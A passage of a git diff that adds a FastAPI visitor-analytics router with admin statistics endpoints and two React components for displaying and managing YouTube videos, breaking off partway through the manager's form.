referrer_domain = extract_referrer_domain(referrer)
|
||||
|
||||
visitor_log = VisitorLog(
|
||||
ip_address=ip_address,
|
||||
user_agent=user_agent,
|
||||
visit_date=today,
|
||||
country=location["country"],
|
||||
country_code=location["country_code"],
|
||||
city=location["city"],
|
||||
region=location["region"],
|
||||
page_path=page_path,
|
||||
referrer=referrer,
|
||||
referrer_domain=referrer_domain,
|
||||
device_type=ua_info["device_type"],
|
||||
browser=ua_info["browser"],
|
||||
os=ua_info["os"]
|
||||
)
|
||||
db.add(visitor_log)
|
||||
|
||||
daily_record = db.query(DailyVisitor).filter(
|
||||
DailyVisitor.visit_date == today
|
||||
).first()
|
||||
|
||||
if daily_record:
|
||||
daily_record.visitor_count += 1
|
||||
else:
|
||||
daily_record = DailyVisitor(visit_date=today, visitor_count=1)
|
||||
db.add(daily_record)
|
||||
|
||||
db.commit()
|
||||
return {"message": "Tracked", "new_visitor": True}
|
||||
|
||||
|
||||
@router.get("/stats", response_model=VisitorStatsResponse)
|
||||
def get_visitor_stats(db: Session = Depends(get_db), _: str = Depends(get_current_admin)):
|
||||
today = date.today()
|
||||
today_record = db.query(DailyVisitor).filter(DailyVisitor.visit_date == today).first()
|
||||
today_visitors = today_record.visitor_count if today_record else 0
|
||||
total_result = db.query(func.sum(DailyVisitor.visitor_count)).scalar()
|
||||
return VisitorStatsResponse(today_visitors=today_visitors, total_visitors=total_result or 0)
|
||||
|
||||
|
||||
@router.get("/stats/public", response_model=VisitorStatsResponse)
|
||||
def get_visitor_stats_public(db: Session = Depends(get_db)):
|
||||
today = date.today()
|
||||
today_record = db.query(DailyVisitor).filter(DailyVisitor.visit_date == today).first()
|
||||
today_visitors = today_record.visitor_count if today_record else 0
|
||||
total_result = db.query(func.sum(DailyVisitor.visitor_count)).scalar()
|
||||
return VisitorStatsResponse(today_visitors=today_visitors, total_visitors=total_result or 0)
|
||||
|
||||
|
||||
@router.get("/stats/countries", response_model=List[CountryStatsResponse])
|
||||
def get_country_stats(db: Session = Depends(get_db), _: str = Depends(get_current_admin)):
|
||||
country_stats = db.query(
|
||||
VisitorLog.country, VisitorLog.country_code,
|
||||
func.count(VisitorLog.id).label("visitor_count")
|
||||
).group_by(VisitorLog.country, VisitorLog.country_code).order_by(
|
||||
func.count(VisitorLog.id).desc()
|
||||
).limit(10).all()
|
||||
|
||||
return [
|
||||
CountryStatsResponse(
|
||||
country=stat.country or "Unknown",
|
||||
country_code=stat.country_code or "??",
|
||||
visitor_count=stat.visitor_count
|
||||
)
|
||||
for stat in country_stats
|
||||
]
|
||||
|
||||
|
||||
# ============ Extended Statistics Endpoints ============
|
||||
|
||||
@router.get("/admin/overview", response_model=OverviewStatsResponse)
|
||||
def get_overview_stats(
|
||||
days: int = Query(default=30, ge=7, le=90),
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
"""Get comprehensive overview statistics"""
|
||||
today = date.today()
|
||||
start_date = today - timedelta(days=days)
|
||||
yesterday = today - timedelta(days=1)
|
||||
|
||||
total_visits = db.query(func.sum(DailyVisitor.visitor_count)).filter(
|
||||
DailyVisitor.visit_date >= start_date
|
||||
).scalar() or 0
|
||||
|
||||
unique_visitors = db.query(func.count(func.distinct(VisitorLog.ip_address))).filter(
|
||||
VisitorLog.visit_date >= start_date
|
||||
).scalar() or 0
|
||||
|
||||
pages_per_visit = round(total_visits / max(unique_visitors, 1), 1)
|
||||
|
||||
total_with_device = db.query(func.count(VisitorLog.id)).filter(
|
||||
VisitorLog.visit_date >= start_date,
|
||||
VisitorLog.device_type.isnot(None)
|
||||
).scalar() or 0
|
||||
|
||||
mobile_count = db.query(func.count(VisitorLog.id)).filter(
|
||||
VisitorLog.visit_date >= start_date,
|
||||
VisitorLog.device_type == "mobile"
|
||||
).scalar() or 0
|
||||
|
||||
mobile_percentage = round((mobile_count / max(total_with_device, 1)) * 100, 1)
|
||||
|
||||
today_record = db.query(DailyVisitor).filter(DailyVisitor.visit_date == today).first()
|
||||
today_visitors = today_record.visitor_count if today_record else 0
|
||||
|
||||
yesterday_record = db.query(DailyVisitor).filter(DailyVisitor.visit_date == yesterday).first()
|
||||
yesterday_visitors = yesterday_record.visitor_count if yesterday_record else 0
|
||||
|
||||
if yesterday_visitors > 0:
|
||||
growth_rate = round(((today_visitors - yesterday_visitors) / yesterday_visitors) * 100, 1)
|
||||
else:
|
||||
growth_rate = 0.0 if today_visitors == 0 else 100.0
|
||||
|
||||
return OverviewStatsResponse(
|
||||
period=f"{days}d",
|
||||
total_visits=total_visits,
|
||||
unique_visitors=unique_visitors,
|
||||
pages_per_visit=pages_per_visit,
|
||||
mobile_percentage=mobile_percentage,
|
||||
today_visitors=today_visitors,
|
||||
yesterday_visitors=yesterday_visitors,
|
||||
growth_rate=growth_rate
|
||||
)
|
||||
|
||||
|
||||
@router.get("/admin/chart/visits", response_model=ChartDataResponse)
|
||||
def get_visits_chart(
|
||||
days: int = Query(default=30, ge=7, le=90),
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
"""Get daily visits chart data"""
|
||||
today = date.today()
|
||||
start_date = today - timedelta(days=days-1)
|
||||
|
||||
records = db.query(DailyVisitor).filter(
|
||||
DailyVisitor.visit_date >= start_date,
|
||||
DailyVisitor.visit_date <= today
|
||||
).order_by(DailyVisitor.visit_date).all()
|
||||
|
||||
record_dict = {r.visit_date: r.visitor_count for r in records}
|
||||
|
||||
labels = []
|
||||
data = []
|
||||
current = start_date
|
||||
while current <= today:
|
||||
labels.append(current.strftime("%m/%d"))
|
||||
data.append(record_dict.get(current, 0))
|
||||
current += timedelta(days=1)
|
||||
|
||||
return ChartDataResponse(labels=labels, data=data)
|
||||
|
||||
|
||||
@router.get("/admin/chart/unique", response_model=ChartDataResponse)
|
||||
def get_unique_visitors_chart(
|
||||
days: int = Query(default=30, ge=7, le=90),
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
"""Get daily unique visitors chart data"""
|
||||
today = date.today()
|
||||
start_date = today - timedelta(days=days-1)
|
||||
|
||||
daily_unique = db.query(
|
||||
VisitorLog.visit_date,
|
||||
func.count(func.distinct(VisitorLog.ip_address)).label("unique_count")
|
||||
).filter(
|
||||
VisitorLog.visit_date >= start_date,
|
||||
VisitorLog.visit_date <= today
|
||||
).group_by(VisitorLog.visit_date).all()
|
||||
|
||||
unique_dict = {r.visit_date: r.unique_count for r in daily_unique}
|
||||
|
||||
labels = []
|
||||
data = []
|
||||
current = start_date
|
||||
while current <= today:
|
||||
labels.append(current.strftime("%m/%d"))
|
||||
data.append(unique_dict.get(current, 0))
|
||||
current += timedelta(days=1)
|
||||
|
||||
return ChartDataResponse(labels=labels, data=data)
|
||||
|
||||
|
||||
@router.get("/admin/breakdown/device", response_model=BreakdownResponse)
|
||||
def get_device_breakdown(
|
||||
days: int = Query(default=30, ge=7, le=90),
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
start_date = date.today() - timedelta(days=days)
|
||||
|
||||
stats = db.query(
|
||||
VisitorLog.device_type,
|
||||
func.count(VisitorLog.id).label("count")
|
||||
).filter(
|
||||
VisitorLog.visit_date >= start_date,
|
||||
VisitorLog.device_type.isnot(None)
|
||||
).group_by(VisitorLog.device_type).order_by(desc("count")).all()
|
||||
|
||||
total = sum(s.count for s in stats) or 1
|
||||
items = [
|
||||
BreakdownItem(name=s.device_type or "Unknown", count=s.count, percentage=round((s.count / total) * 100, 1))
|
||||
for s in stats
|
||||
]
|
||||
|
||||
return BreakdownResponse(items=items, total=total)
|
||||
|
||||
|
||||
@router.get("/admin/breakdown/browser", response_model=BreakdownResponse)
|
||||
def get_browser_breakdown(
|
||||
days: int = Query(default=30, ge=7, le=90),
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
start_date = date.today() - timedelta(days=days)
|
||||
|
||||
stats = db.query(
|
||||
VisitorLog.browser,
|
||||
func.count(VisitorLog.id).label("count")
|
||||
).filter(
|
||||
VisitorLog.visit_date >= start_date,
|
||||
VisitorLog.browser.isnot(None)
|
||||
).group_by(VisitorLog.browser).order_by(desc("count")).limit(10).all()
|
||||
|
||||
total = sum(s.count for s in stats) or 1
|
||||
items = [
|
||||
BreakdownItem(name=s.browser or "Unknown", count=s.count, percentage=round((s.count / total) * 100, 1))
|
||||
for s in stats
|
||||
]
|
||||
|
||||
return BreakdownResponse(items=items, total=total)
|
||||
|
||||
|
||||
@router.get("/admin/breakdown/os", response_model=BreakdownResponse)
|
||||
def get_os_breakdown(
|
||||
days: int = Query(default=30, ge=7, le=90),
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
start_date = date.today() - timedelta(days=days)
|
||||
|
||||
stats = db.query(
|
||||
VisitorLog.os,
|
||||
func.count(VisitorLog.id).label("count")
|
||||
).filter(
|
||||
VisitorLog.visit_date >= start_date,
|
||||
VisitorLog.os.isnot(None)
|
||||
).group_by(VisitorLog.os).order_by(desc("count")).limit(10).all()
|
||||
|
||||
total = sum(s.count for s in stats) or 1
|
||||
items = [
|
||||
BreakdownItem(name=s.os or "Unknown", count=s.count, percentage=round((s.count / total) * 100, 1))
|
||||
for s in stats
|
||||
]
|
||||
|
||||
return BreakdownResponse(items=items, total=total)
|
||||
|
||||
|
||||
@router.get("/admin/top-pages", response_model=TopPagesResponse)
|
||||
def get_top_pages(
|
||||
days: int = Query(default=30, ge=7, le=90),
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
start_date = date.today() - timedelta(days=days)
|
||||
|
||||
stats = db.query(
|
||||
VisitorLog.page_path,
|
||||
func.count(VisitorLog.id).label("count")
|
||||
).filter(
|
||||
VisitorLog.visit_date >= start_date,
|
||||
VisitorLog.page_path.isnot(None)
|
||||
).group_by(VisitorLog.page_path).order_by(desc("count")).limit(10).all()
|
||||
|
||||
total = sum(s.count for s in stats) or 1
|
||||
pages = [
|
||||
TopPageItem(path=s.page_path or "/", count=s.count, percentage=round((s.count / total) * 100, 1))
|
||||
for s in stats
|
||||
]
|
||||
|
||||
return TopPagesResponse(pages=pages, total=total)
|
||||
|
||||
|
||||
@router.get("/admin/top-referrers", response_model=TopReferrersResponse)
|
||||
def get_top_referrers(
|
||||
days: int = Query(default=30, ge=7, le=90),
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
start_date = date.today() - timedelta(days=days)
|
||||
|
||||
stats = db.query(
|
||||
VisitorLog.referrer_domain,
|
||||
func.count(VisitorLog.id).label("count")
|
||||
).filter(
|
||||
VisitorLog.visit_date >= start_date,
|
||||
VisitorLog.referrer_domain.isnot(None)
|
||||
).group_by(VisitorLog.referrer_domain).order_by(desc("count")).limit(10).all()
|
||||
|
||||
total = sum(s.count for s in stats) or 1
|
||||
referrers = [
|
||||
TopReferrerItem(domain=s.referrer_domain or "(direct)", count=s.count, percentage=round((s.count / total) * 100, 1))
|
||||
for s in stats
|
||||
]
|
||||
|
||||
return TopReferrersResponse(referrers=referrers, total=total)
|
||||
|
||||
|
||||
@router.get("/admin/realtime", response_model=RealtimeStatsResponse)
|
||||
def get_realtime_stats(
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
now = datetime.now()
|
||||
five_minutes_ago = now - timedelta(minutes=5)
|
||||
|
||||
active_count = db.query(func.count(VisitorLog.id)).filter(
|
||||
VisitorLog.visited_at >= five_minutes_ago
|
||||
).scalar() or 0
|
||||
|
||||
return RealtimeStatsResponse(active_visitors=active_count, last_5_minutes=active_count)
|
||||
136
temp_youtube_display.tsx
Normal file
136
temp_youtube_display.tsx
Normal file
@@ -0,0 +1,136 @@
|
||||
"use client";
|
||||
|
||||
import { useState, useEffect } from "react";
|
||||
import { useLanguage } from "@/contexts/LanguageContext";
|
||||
import { contentVideosApi, ContentVideoPublic } from "@/lib/api";
|
||||
import { Youtube, Play, X } from "lucide-react";
|
||||
|
||||
interface YouTubeVideoDisplayProps {
|
||||
entityType: "project" | "solution" | "product";
|
||||
entityId: number;
|
||||
}
|
||||
|
||||
export default function YouTubeVideoDisplay({
|
||||
entityType,
|
||||
entityId,
|
||||
}: YouTubeVideoDisplayProps) {
|
||||
const { locale } = useLanguage();
|
||||
const [videos, setVideos] = useState<ContentVideoPublic[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [playingVideo, setPlayingVideo] = useState<ContentVideoPublic | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
const fetchVideos = async () => {
|
||||
try {
|
||||
const data = await contentVideosApi.getForEntity(entityType, entityId, locale);
|
||||
setVideos(data);
|
||||
} catch (error) {
|
||||
console.error("Failed to fetch videos:", error);
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
fetchVideos();
|
||||
}, [entityType, entityId, locale]);
|
||||
|
||||
if (loading || videos.length === 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<>
|
||||
{/* Video Section */}
|
||||
<div className="mt-12">
|
||||
<div className="flex items-center gap-2 mb-6">
|
||||
<Youtube className="w-6 h-6 text-red-500" />
|
||||
<h3 className="text-xl font-bold text-gray-900">
|
||||
{locale === "ko" ? "관련 영상" :
|
||||
locale === "en" ? "Related Videos" :
|
||||
locale === "ja" ? "関連動画" : "相关视频"}
|
||||
</h3>
|
||||
</div>
|
||||
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-4">
|
||||
{videos.map((video) => (
|
||||
<div
|
||||
key={video.id}
|
||||
className="group relative bg-gray-100 rounded-xl overflow-hidden cursor-pointer"
|
||||
onClick={() => setPlayingVideo(video)}
|
||||
>
|
||||
{/* Thumbnail */}
|
||||
<div className="aspect-video relative">
|
||||
<img
|
||||
src={video.thumbnail_url}
|
||||
alt={video.title}
|
||||
className="w-full h-full object-cover transition-transform group-hover:scale-105"
|
||||
onError={(e) => {
|
||||
(e.target as HTMLImageElement).src =
|
||||
`https://img.youtube.com/vi/${video.youtube_id}/hqdefault.jpg`;
|
||||
}}
|
||||
/>
|
||||
{/* Play button overlay */}
|
||||
<div className="absolute inset-0 flex items-center justify-center bg-black/20 group-hover:bg-black/40 transition-colors">
|
||||
<div className="w-16 h-16 bg-red-500 rounded-full flex items-center justify-center shadow-lg transform group-hover:scale-110 transition-transform">
|
||||
<Play className="w-8 h-8 text-white ml-1" fill="white" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
{/* Title */}
|
||||
<div className="p-3">
|
||||
<h4 className="font-medium text-gray-900 line-clamp-2">
|
||||
{video.title}
|
||||
</h4>
|
||||
{video.description && (
|
||||
<p className="text-sm text-gray-500 mt-1 line-clamp-2">
|
||||
{video.description}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Video Modal */}
|
||||
{playingVideo && (
|
||||
<div
|
||||
className="fixed inset-0 z-50 flex items-center justify-center bg-black/80"
|
||||
onClick={() => setPlayingVideo(null)}
|
||||
>
|
||||
<div
|
||||
className="relative w-full max-w-4xl mx-4"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
{/* Close button */}
|
||||
<button
|
||||
onClick={() => setPlayingVideo(null)}
|
||||
className="absolute -top-12 right-0 text-white hover:text-gray-300 transition"
|
||||
>
|
||||
<X className="w-8 h-8" />
|
||||
</button>
|
||||
|
||||
{/* Video iframe */}
|
||||
<div className="aspect-video bg-black rounded-lg overflow-hidden">
|
||||
<iframe
|
||||
src={`${playingVideo.youtube_embed_url}?autoplay=1`}
|
||||
title={playingVideo.title}
|
||||
className="w-full h-full"
|
||||
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
|
||||
allowFullScreen
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Video title */}
|
||||
<div className="mt-4 text-white">
|
||||
<h3 className="text-xl font-semibold">{playingVideo.title}</h3>
|
||||
{playingVideo.description && (
|
||||
<p className="text-gray-300 mt-2">{playingVideo.description}</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
);
|
||||
}
|
||||
450
temp_youtube_manager.tsx
Normal file
450
temp_youtube_manager.tsx
Normal file
@@ -0,0 +1,450 @@
|
||||
"use client";
|
||||
|
||||
import { useState, useEffect } from "react";
|
||||
import { useAuth } from "@/contexts/AuthContext";
|
||||
import { contentVideosApi, ContentVideo, ContentVideoCreate } from "@/lib/api";
|
||||
import {
|
||||
Youtube,
|
||||
Plus,
|
||||
Trash2,
|
||||
Edit,
|
||||
GripVertical,
|
||||
X,
|
||||
ExternalLink,
|
||||
Eye,
|
||||
EyeOff,
|
||||
} from "lucide-react";
|
||||
|
||||
interface YouTubeVideoManagerProps {
|
||||
entityType: "project" | "solution" | "product";
|
||||
entityId: number;
|
||||
entityTitle?: string;
|
||||
}
|
||||
|
||||
export default function YouTubeVideoManager({
|
||||
entityType,
|
||||
entityId,
|
||||
entityTitle,
|
||||
}: YouTubeVideoManagerProps) {
|
||||
const { token } = useAuth();
|
||||
const [videos, setVideos] = useState<ContentVideo[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [showModal, setShowModal] = useState(false);
|
||||
const [editingVideo, setEditingVideo] = useState<ContentVideo | null>(null);
|
||||
const [formData, setFormData] = useState<Partial<ContentVideoCreate>>({
|
||||
youtube_id: "",
|
||||
title_ko: "",
|
||||
title_en: "",
|
||||
title_ja: "",
|
||||
title_zh: "",
|
||||
description_ko: "",
|
||||
entity_type: entityType,
|
||||
entity_id: entityId,
|
||||
is_active: true,
|
||||
});
|
||||
|
||||
const fetchVideos = async () => {
|
||||
if (!token) return;
|
||||
try {
|
||||
const data = await contentVideosApi.adminList(token, entityType, entityId);
|
||||
setVideos(data);
|
||||
} catch (error) {
|
||||
console.error("Failed to fetch videos:", error);
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
fetchVideos();
|
||||
}, [token, entityType, entityId]);
|
||||
|
||||
const extractYoutubeId = (input: string): string => {
|
||||
if (!input) return "";
|
||||
// Already a plain ID
|
||||
if (/^[a-zA-Z0-9_-]{11}$/.test(input)) return input;
|
||||
// Extract from URL
|
||||
const match = input.match(
|
||||
/(?:youtube\.com\/watch\?v=|youtu\.be\/|youtube\.com\/embed\/)([a-zA-Z0-9_-]{11})/
|
||||
);
|
||||
return match ? match[1] : input;
|
||||
};
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
if (!token) return;
|
||||
|
||||
try {
|
||||
const youtubeId = extractYoutubeId(formData.youtube_id || "");
|
||||
const payload = {
|
||||
...formData,
|
||||
youtube_id: youtubeId,
|
||||
entity_type: entityType,
|
||||
entity_id: entityId,
|
||||
};
|
||||
|
||||
if (editingVideo) {
|
||||
await contentVideosApi.adminUpdate(editingVideo.id, payload, token);
|
||||
} else {
|
||||
await contentVideosApi.adminCreate(payload as ContentVideoCreate, token);
|
||||
}
|
||||
|
||||
setShowModal(false);
|
||||
setEditingVideo(null);
|
||||
resetForm();
|
||||
fetchVideos();
|
||||
} catch (error) {
|
||||
console.error("Failed to save video:", error);
|
||||
alert("저장에 실패했습니다.");
|
||||
}
|
||||
};
|
||||
|
||||
const handleDelete = async (id: number) => {
|
||||
if (!token || !confirm("이 영상을 삭제하시겠습니까?")) return;
|
||||
|
||||
try {
|
||||
await contentVideosApi.adminDelete(id, token);
|
||||
fetchVideos();
|
||||
} catch (error) {
|
||||
console.error("Failed to delete video:", error);
|
||||
}
|
||||
};
|
||||
|
||||
const handleToggleActive = async (video: ContentVideo) => {
|
||||
if (!token) return;
|
||||
|
||||
try {
|
||||
await contentVideosApi.adminUpdate(
|
||||
video.id,
|
||||
{ is_active: !video.is_active },
|
||||
token
|
||||
);
|
||||
fetchVideos();
|
||||
} catch (error) {
|
||||
console.error("Failed to toggle active:", error);
|
||||
}
|
||||
};
|
||||
|
||||
const resetForm = () => {
|
||||
setFormData({
|
||||
youtube_id: "",
|
||||
title_ko: "",
|
||||
title_en: "",
|
||||
title_ja: "",
|
||||
title_zh: "",
|
||||
description_ko: "",
|
||||
entity_type: entityType,
|
||||
entity_id: entityId,
|
||||
is_active: true,
|
||||
});
|
||||
};
|
||||
|
||||
const openEditModal = (video: ContentVideo) => {
|
||||
setEditingVideo(video);
|
||||
setFormData({
|
||||
youtube_id: video.youtube_id,
|
||||
title_ko: video.title_ko,
|
||||
title_en: video.title_en || "",
|
||||
title_ja: video.title_ja || "",
|
||||
title_zh: video.title_zh || "",
|
||||
description_ko: video.description_ko || "",
|
||||
is_active: video.is_active,
|
||||
});
|
||||
setShowModal(true);
|
||||
};
|
||||
|
||||
const openAddModal = () => {
|
||||
setEditingVideo(null);
|
||||
resetForm();
|
||||
setShowModal(true);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="bg-white rounded-xl shadow-sm p-6">
|
||||
<div className="flex items-center justify-between mb-4">
|
||||
<div className="flex items-center gap-2">
|
||||
<Youtube className="w-5 h-5 text-red-500" />
|
||||
<h3 className="text-lg font-semibold text-gray-900">YouTube 영상</h3>
|
||||
{entityTitle && (
|
||||
<span className="text-sm text-gray-500">- {entityTitle}</span>
|
||||
)}
|
||||
</div>
|
||||
<button
|
||||
onClick={openAddModal}
|
||||
className="flex items-center gap-2 px-3 py-2 bg-red-500 text-white rounded-lg hover:bg-red-600 transition text-sm"
|
||||
>
|
||||
<Plus className="w-4 h-4" />
|
||||
영상 추가
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{loading ? (
|
||||
<div className="text-center py-8 text-gray-500">로딩 중...</div>
|
||||
) : videos.length === 0 ? (
|
||||
<div className="text-center py-8 text-gray-500 border-2 border-dashed rounded-lg">
|
||||
<Youtube className="w-12 h-12 mx-auto mb-2 text-gray-300" />
|
||||
<p>등록된 영상이 없습니다</p>
|
||||
<button
|
||||
onClick={openAddModal}
|
||||
className="mt-2 text-red-500 hover:underline text-sm"
|
||||
>
|
||||
첫 번째 영상 추가하기
|
||||
</button>
|
||||
</div>
|
||||
) : (
|
||||
<div className="space-y-3">
|
||||
{videos.map((video) => (
|
||||
<div
|
||||
key={video.id}
|
||||
className={`flex items-center gap-4 p-3 rounded-lg border ${
|
||||
video.is_active ? "bg-white" : "bg-gray-50 opacity-60"
|
||||
}`}
|
||||
>
|
||||
<GripVertical className="w-5 h-5 text-gray-400 cursor-move" />
|
||||
|
||||
{/* Thumbnail */}
|
||||
<div className="relative w-32 h-20 flex-shrink-0">
|
||||
<img
|
||||
src={video.thumbnail_url}
|
||||
alt={video.title_ko}
|
||||
className="w-full h-full object-cover rounded"
|
||||
onError={(e) => {
|
||||
(e.target as HTMLImageElement).src = `https://img.youtube.com/vi/${video.youtube_id}/hqdefault.jpg`;
|
||||
}}
|
||||
/>
|
||||
<div className="absolute inset-0 flex items-center justify-center">
|
||||
<div className="w-10 h-10 bg-red-500/80 rounded-full flex items-center justify-center">
|
||||
<div className="w-0 h-0 border-l-[12px] border-l-white border-y-[8px] border-y-transparent ml-1" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Info */}
|
||||
<div className="flex-1 min-w-0">
|
||||
<h4 className="font-medium text-gray-900 truncate">
|
||||
{video.title_ko}
|
||||
</h4>
|
||||
{video.title_en && (
|
||||
<p className="text-sm text-gray-500 truncate">{video.title_en}</p>
|
||||
)}
|
||||
<p className="text-xs text-gray-400 mt-1">
|
||||
ID: {video.youtube_id}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Actions */}
|
||||
<div className="flex items-center gap-2">
|
||||
<a
|
||||
href={video.youtube_url}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="p-2 text-gray-500 hover:text-blue-500 transition"
|
||||
title="YouTube에서 보기"
|
||||
>
|
||||
<ExternalLink className="w-4 h-4" />
|
||||
</a>
|
||||
<button
|
||||
onClick={() => handleToggleActive(video)}
|
||||
className={`p-2 transition ${
|
||||
video.is_active
|
||||
? "text-green-500 hover:text-green-600"
|
||||
: "text-gray-400 hover:text-gray-600"
|
||||
}`}
|
||||
title={video.is_active ? "활성" : "비활성"}
|
||||
>
|
||||
{video.is_active ? (
|
||||
<Eye className="w-4 h-4" />
|
||||
) : (
|
||||
<EyeOff className="w-4 h-4" />
|
||||
)}
|
||||
</button>
|
||||
<button
|
||||
onClick={() => openEditModal(video)}
|
||||
className="p-2 text-gray-500 hover:text-blue-500 transition"
|
||||
title="수정"
|
||||
>
|
||||
<Edit className="w-4 h-4" />
|
||||
</button>
|
||||
<button
|
||||
onClick={() => handleDelete(video.id)}
|
||||
className="p-2 text-gray-500 hover:text-red-500 transition"
|
||||
title="삭제"
|
||||
>
|
||||
<Trash2 className="w-4 h-4" />
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Modal */}
|
||||
{showModal && (
|
||||
<div className="fixed inset-0 z-50 flex items-center justify-center bg-black/50">
|
||||
<div className="bg-white rounded-xl shadow-xl w-full max-w-lg mx-4 max-h-[90vh] overflow-y-auto">
|
||||
<div className="flex items-center justify-between p-4 border-b">
|
||||
<h3 className="text-lg font-semibold">
|
||||
{editingVideo ? "영상 수정" : "영상 추가"}
|
||||
</h3>
|
||||
<button
|
||||
onClick={() => setShowModal(false)}
|
||||
className="p-1 hover:bg-gray-100 rounded"
|
||||
>
|
||||
<X className="w-5 h-5" />
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<form onSubmit={handleSubmit} className="p-4 space-y-4">
|
||||
{/* YouTube URL/ID */}
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
YouTube URL 또는 ID *
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={formData.youtube_id || ""}
|
||||
onChange={(e) =>
|
||||
setFormData({ ...formData, youtube_id: e.target.value })
|
||||
}
|
||||
placeholder="https://youtube.com/watch?v=... 또는 영상 ID"
|
||||
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
|
||||
required
|
||||
/>
|
||||
<p className="text-xs text-gray-500 mt-1">
|
||||
전체 URL이나 영상 ID(11자리)를 입력하세요
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Preview */}
|
||||
{formData.youtube_id && (
|
||||
<div className="relative aspect-video bg-gray-100 rounded-lg overflow-hidden">
|
||||
<img
|
||||
src={`https://img.youtube.com/vi/${extractYoutubeId(
|
||||
formData.youtube_id
|
||||
)}/maxresdefault.jpg`}
|
||||
alt="Preview"
|
||||
className="w-full h-full object-cover"
|
||||
onError={(e) => {
|
||||
(e.target as HTMLImageElement).src = `https://img.youtube.com/vi/${extractYoutubeId(
|
||||
formData.youtube_id || ""
|
||||
)}/hqdefault.jpg`;
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Title KO */}
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
제목 (한국어) *
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={formData.title_ko || ""}
|
||||
onChange={(e) =>
|
||||
setFormData({ ...formData, title_ko: e.target.value })
|
||||
}
|
||||
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Title EN */}
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
Title (English)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={formData.title_en || ""}
|
||||
onChange={(e) =>
|
||||
setFormData({ ...formData, title_en: e.target.value })
|
||||
}
|
||||
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Title JA */}
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
タイトル (日本語)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={formData.title_ja || ""}
|
||||
onChange={(e) =>
|
||||
setFormData({ ...formData, title_ja: e.target.value })
|
||||
}
|
||||
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Title ZH */}
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
标题 (中文)
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
value={formData.title_zh || ""}
|
||||
onChange={(e) =>
|
||||
setFormData({ ...formData, title_zh: e.target.value })
|
||||
}
|
||||
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Description */}
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-1">
|
||||
설명 (선택)
|
||||
</label>
|
||||
<textarea
|
||||
value={formData.description_ko || ""}
|
||||
onChange={(e) =>
|
||||
setFormData({ ...formData, description_ko: e.target.value })
|
||||
}
|
||||
rows={3}
|
||||
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Active Toggle */}
|
||||
<div className="flex items-center gap-2">
|
||||
